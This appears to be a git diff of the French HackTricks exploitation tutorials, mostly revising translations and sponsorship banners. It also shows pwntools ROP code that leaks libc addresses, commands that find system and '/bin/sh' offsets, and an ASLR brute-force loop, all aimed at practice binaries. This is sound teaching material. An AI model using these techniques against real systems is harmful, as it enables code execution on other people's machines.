* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>

24
exploiting/linux-exploiting-basic-esp/format-strings-template.md
View file

@ -1,14 +1,14 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
```python
@ -151,14 +151,14 @@ P.interactive()
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

30
exploiting/linux-exploiting-basic-esp/fusion.md
View file

@ -1,14 +1,14 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -17,8 +17,8 @@ Autres moyens de soutenir HackTricks :
[http://exploit-exercises.lains.space/fusion/level00/](http://exploit-exercises.lains.space/fusion/level00/)
1. Obtenez le décalage pour modifier EIP
2. Placez l'adresse du shellcode dans EIP
1. Obtenir le décalage pour modifier EIP
2. Mettre l'adresse du shellcode dans EIP
```python
from pwn import *
@ -72,14 +72,14 @@ r.interactive()
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
D'autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
</details>

57
exploiting/linux-exploiting-basic-esp/ret2lib.md
View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
Autres façons de soutenir HackTricks :
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -19,28 +17,19 @@
# Si vous êtes **à l'intérieur** de l'**hôte**
## Vous pouvez trouver l'**adresse de lib**c
## Vous pouvez trouver l'**adresse de libc**
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
Si vous voulez vérifier si l'ASLR change l'adresse de libc, vous pouvez faire :
Si vous voulez vérifier si l'ASLR change l'adresse de la libc, vous pouvez faire :
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
## Obtenir l'offset de la fonction system
Pour exploiter une vulnérabilité de type `ret2libc`, nous avons besoin de connaître l'adresse de la fonction `system` dans la bibliothèque partagée `libc`. Pour cela, nous pouvons utiliser la commande `objdump` pour extraire les informations de la bibliothèque `libc` et rechercher l'adresse de la fonction `system`.
```bash
$ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep system
000000000004f440 w DF .text 0000000000000039 GLIBC_2.2.5 system
```
Dans cet exemple, l'adresse de la fonction `system` est `0x000000000004f440`. C'est l'adresse que nous utiliserons pour écraser la valeur de retour de la fonction vulnérable et ainsi exécuter notre propre code.
## Obtenir le décalage de la fonction système
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
## Obtenir l'offset de "/bin/sh"
## Obtenir le décalage de "/bin/sh"
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
@ -48,11 +37,11 @@ strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Si le processus crée des **enfants** à chaque fois que vous communiquez avec lui (serveur réseau), essayez de **lire** ce fichier (vous devrez probablement être root).
Ici, vous pouvez trouver **exactement où est chargé le libc** à l'intérieur du processus et **où il sera chargé** pour chaque enfant du processus.
Ici, vous pouvez trouver **exactement où la libc est chargée** à l'intérieur du processus et **où elle va être chargée** pour chaque enfant du processus.
![](<../../.gitbook/assets/image (95).png>)
Dans ce cas, il est chargé à **0xb75dc000** (ce sera l'adresse de base de libc)
Dans ce cas, elle est chargée à **0xb75dc000** (ce sera l'adresse de base de la libc)
## Utilisation de gdb-peda
@ -64,11 +53,11 @@ find "/bin/sh"
```
# Contournement de l'ASLR
Vous pouvez essayer de forcer l'adresse de base de libc par bruteforce.
Vous pouvez essayer de forcer brutalement l'adresse de base de la libc.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
Je suis désolé, mais je ne peux pas traduire le code. Voulez-vous que je traduise le texte qui l'entoure?
# Code
```python
from pwn import *
@ -86,16 +75,14 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
D'autres façons de soutenir HackTricks:
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>

112
exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md
View file

@ -1,25 +1,23 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
Autres façons de soutenir HackTricks :
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
# Résumé rapide
1. **Trouver** l'offset de l'overflow
1. **Trouver** le décalage de **débordement**
2. **Trouver** les gadgets `POP_RDI`, `PUTS_PLT` et `MAIN_PLT`
3. Utiliser les gadgets précédents pour **leaker l'adresse mémoire** de puts ou d'une autre fonction libc et **trouver la version de libc** ([téléchargez-la](https://libc.blukat.me))
3. Utiliser les gadgets précédents pour **fuir l'adresse mémoire** de puts ou d'une autre fonction libc et **trouver la version de la libc** ([téléchargez-la](https://libc.blukat.me))
4. Avec la bibliothèque, **calculer le ROP et l'exploiter**
# Autres tutoriels et binaires pour s'entraîner
@ -47,16 +45,16 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
```
# ROP - Modèle de fuite de LIBC
Je vais utiliser le code situé ici pour créer l'exploit.\
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et donnez les données nécessaires au script:
Je vais utiliser le code situé ici pour réaliser l'exploit.\
Téléchargez l'exploit et placez-le dans le même répertoire que le binaire vulnérable et fournissez les données nécessaires au script :
{% content-ref url="rop-leaking-libc-template.md" %}
[rop-leaking-libc-template.md](rop-leaking-libc-template.md)
{% endcontent-ref %}
# 1- Trouver l'offset
# 1- Recherche du décalage
Le modèle nécessite un offset avant de continuer avec l'exploit. Si aucun n'est fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`):
Le modèle nécessite un décalage avant de continuer avec l'exploit. S'il n'est pas fourni, il exécutera le code nécessaire pour le trouver (par défaut `OFFSET = ""`) :
```bash
###################
### Find offset ###
@ -71,7 +69,7 @@ if OFFSET == "":
#cyclic_find(0x6161616b) # Find the offset of those bytes
return
```
**Exécutez** `python template.py` une console GDB sera ouverte avec le programme qui a planté. À l'intérieur de cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python** :
**Exécutez** `python template.py` une console GDB s'ouvrira avec le programme planté. À l'intérieur de cette **console GDB**, exécutez `x/wx $rsp` pour obtenir les **octets** qui allaient écraser le RIP. Enfin, obtenez le **décalage** en utilisant une console **python**:
```python
from pwn import *
cyclic_find(0x6161616b)
@ -81,11 +79,11 @@ cyclic_find(0x6161616b)
Après avoir trouvé le décalage (dans ce cas 40), changez la variable OFFSET à l'intérieur du modèle en utilisant cette valeur.\
`OFFSET = "A" * 40`
Une autre façon serait d'utiliser: `pattern create 1000` -- _exécuter jusqu'à ret_ -- `pattern search $rsp` de GEF.
Une autre façon serait d'utiliser: `pattern create 1000` -- _exécuter jusqu'à ret_ -- `pattern search $rsp` depuis GEF.
# 2- Trouver des gadgets
# 2- Recherche de Gadgets
Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler `puts` pour trouver la **libc** utilisée, et plus tard pour **lancer l'exploit final**.
Maintenant, nous devons trouver des gadgets ROP à l'intérieur du binaire. Ces gadgets ROP seront utiles pour appeler `puts` afin de trouver la **libc** utilisée, et plus tard pour **lancer l'exploit final**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@ -97,14 +95,14 @@ log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
Le `PUTS_PLT` est nécessaire pour appeler la **fonction puts**.\
Le `MAIN_PLT` est nécessaire pour appeler **la fonction principale** à nouveau après une interaction pour **exploiter** le débordement **à nouveau** (des tours d'exploitation infinis). **Il est utilisé à la fin de chaque ROP pour appeler le programme à nouveau**.\
Le `MAIN_PLT` est nécessaire pour appeler la **fonction principale** à nouveau après une interaction pour **exploiter** le débordement **à nouveau** (des tours d'exploitation infinis). **Il est utilisé à la fin de chaque ROP pour rappeler le programme**.\
Le **POP\_RDI** est nécessaire pour **passer** un **paramètre** à la fonction appelée.
À cette étape, vous n'avez pas besoin d'exécuter quoi que ce soit car tout sera trouvé par pwntools pendant l'exécution.
# 3- Trouver la bibliothèque LIBC
# 3- Recherche de la bibliothèque LIBC
Maintenant, il est temps de trouver quelle version de la bibliothèque **libc** est utilisée. Pour ce faire, nous allons **fuir** l'**adresse** en mémoire de la **fonction** `puts` et ensuite nous allons **chercher** dans quelle **version de bibliothèque** la version de puts est à cette adresse.
Il est maintenant temps de trouver quelle version de la bibliothèque **libc** est utilisée. Pour ce faire, nous allons **fuir** l'**adresse** en mémoire de la **fonction** `puts` puis nous allons **rechercher** dans quelle **version de bibliothèque** la version de puts se trouve à cette adresse.
```python
def get_addr(func_name):
FUNC_GOT = elf.got[func_name]
@ -137,22 +135,22 @@ Pour ce faire, la ligne la plus importante du code exécuté est :
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
Cela enverra quelques octets jusqu'à ce que l'**écrasement** du **RIP** soit possible : `OFFSET`.\
Ensuite, il définira l'**adresse** du gadget `POP_RDI` de sorte que l'adresse suivante (`FUNC_GOT`) sera enregistrée dans le registre **RDI**. Cela est dû au fait que nous voulons **appeler puts** en lui **passant** l'**adresse** de `PUTS_GOT` comme adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\
Après cela, `PUTS_PLT` sera appelé (avec `PUTS_GOT` à l'intérieur de **RDI**) afin que puts lise le contenu à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et l'affiche.\
Enfin, la **fonction principale est appelée à nouveau** afin que nous puissions exploiter à nouveau le débordement.
Cela enverra quelques octets jusqu'à ce que **l'écrasement** du **RIP** soit possible : `OFFSET`.\
Ensuite, il définira l'**adresse** du gadget `POP_RDI` afin que l'adresse suivante (`FUNC_GOT`) soit enregistrée dans le registre **RDI**. Cela est nécessaire car nous voulons **appeler puts** en lui **passant** l'**adresse** du `PUTS_GOT` car l'adresse en mémoire de la fonction puts est enregistrée à l'adresse pointée par `PUTS_GOT`.\
Ensuite, `PUTS_PLT` sera appelé (avec `PUTS_GOT` dans le **RDI**) afin que puts **lise le contenu** à l'intérieur de `PUTS_GOT` (**l'adresse de la fonction puts en mémoire**) et l'**affiche**.\
Enfin, la **fonction principale est appelée à nouveau** pour que nous puissions exploiter à nouveau le dépassement de tampon.
De cette façon, nous avons **trompé la fonction puts** pour qu'elle **affiche** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **rechercher quelle version de libc est utilisée**.
De cette manière, nous avons **trompé la fonction puts** pour qu'elle **affiche** l'**adresse** en **mémoire** de la fonction **puts** (qui se trouve dans la bibliothèque **libc**). Maintenant que nous avons cette adresse, nous pouvons **rechercher quelle version de libc est utilisée**.
![](<../../../.gitbook/assets/image (141).png>)
Comme nous **exploitons** un binaire **local**, il n'est **pas nécessaire** de déterminer quelle version de **libc** est utilisée (il suffit de trouver la bibliothèque dans `/lib/x86_64-linux-gnu/libc.so.6`).\
Mais, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :
Comme nous **exploitons** un **binaire local**, il n'est **pas nécessaire** de déterminer quelle version de **libc** est utilisée (il suffit de trouver la bibliothèque dans `/lib/x86_64-linux-gnu/libc.so.6`).\
Cependant, dans le cas d'une exploitation à distance, je vais expliquer ici comment vous pouvez le trouver :
## 3.1- Recherche de la version de libc (1)
Vous pouvez rechercher quelle bibliothèque est utilisée sur la page web : [https://libc.blukat.me/](https://libc.blukat.me)\
Cela vous permettra également de télécharger la version découverte de **libc**
Cela vous permettra également de télécharger la version de **libc** découverte
![](<../../../.gitbook/assets/image (142).png>)
@ -170,13 +168,13 @@ Pour que cela fonctionne, nous avons besoin de :
* Nom du symbole libc : `puts`
* Adresse libc divulguée : `0x7ff629878690`
Nous pouvons déterminer quelle **libc** est la plus susceptible d'être utilisée.
Nous pouvons déterminer quelle **libc** est probablement utilisée.
```
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
Nous avons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez la première :
Nous obtenons 2 correspondances (vous devriez essayer la deuxième si la première ne fonctionne pas). Téléchargez le premier :
```
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
@ -185,7 +183,7 @@ Getting libc6_2.23-0ubuntu10_amd64
-> Extracting package
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
Copiez la bibliothèque libc depuis `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` dans notre répertoire de travail.
Copiez la libc depuis `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` vers notre répertoire de travail.
## 3.3- Autres fonctions pour la fuite
```python
@ -195,25 +193,25 @@ __libc_start_main
read
gets
```
# 4- Trouver l'adresse de la bibliothèque libc et exploiter
# 4- Recherche de l'adresse basée sur la libc & exploitation
À ce stade, nous devrions connaître la bibliothèque libc utilisée. Comme nous exploitons un binaire local, je vais utiliser simplement : `/lib/x86_64-linux-gnu/libc.so.6`
Ainsi, au début de `template.py`, changez la variable **libc** en: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque connue`
Ainsi, au début de `template.py`, changez la variable **libc** en : `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Définir le chemin de la bibliothèque une fois connu`
En donnant le **chemin** de la **bibliothèque libc**, le reste de l'**exploit sera automatiquement calculé**.
En fournissant le **chemin** de la **bibliothèque libc**, le reste de l'**exploit va être calculé automatiquement**.
À l'intérieur de la fonction `get_addr`, l'**adresse de base de libc** va être calculée:
À l'intérieur de la fonction `get_addr`, l'**adresse de base de la libc** va être calculée :
```python
if libc != "":
libc.address = leak - libc.symbols[func_name] #Save libc base
log.info("libc base @ %s" % hex(libc.address))
```
{% hint style="info" %}
Notez que l'**adresse finale de la base de libc doit se terminer par 00**. Si ce n'est pas le cas, vous pourriez avoir divulgué une bibliothèque incorrecte.
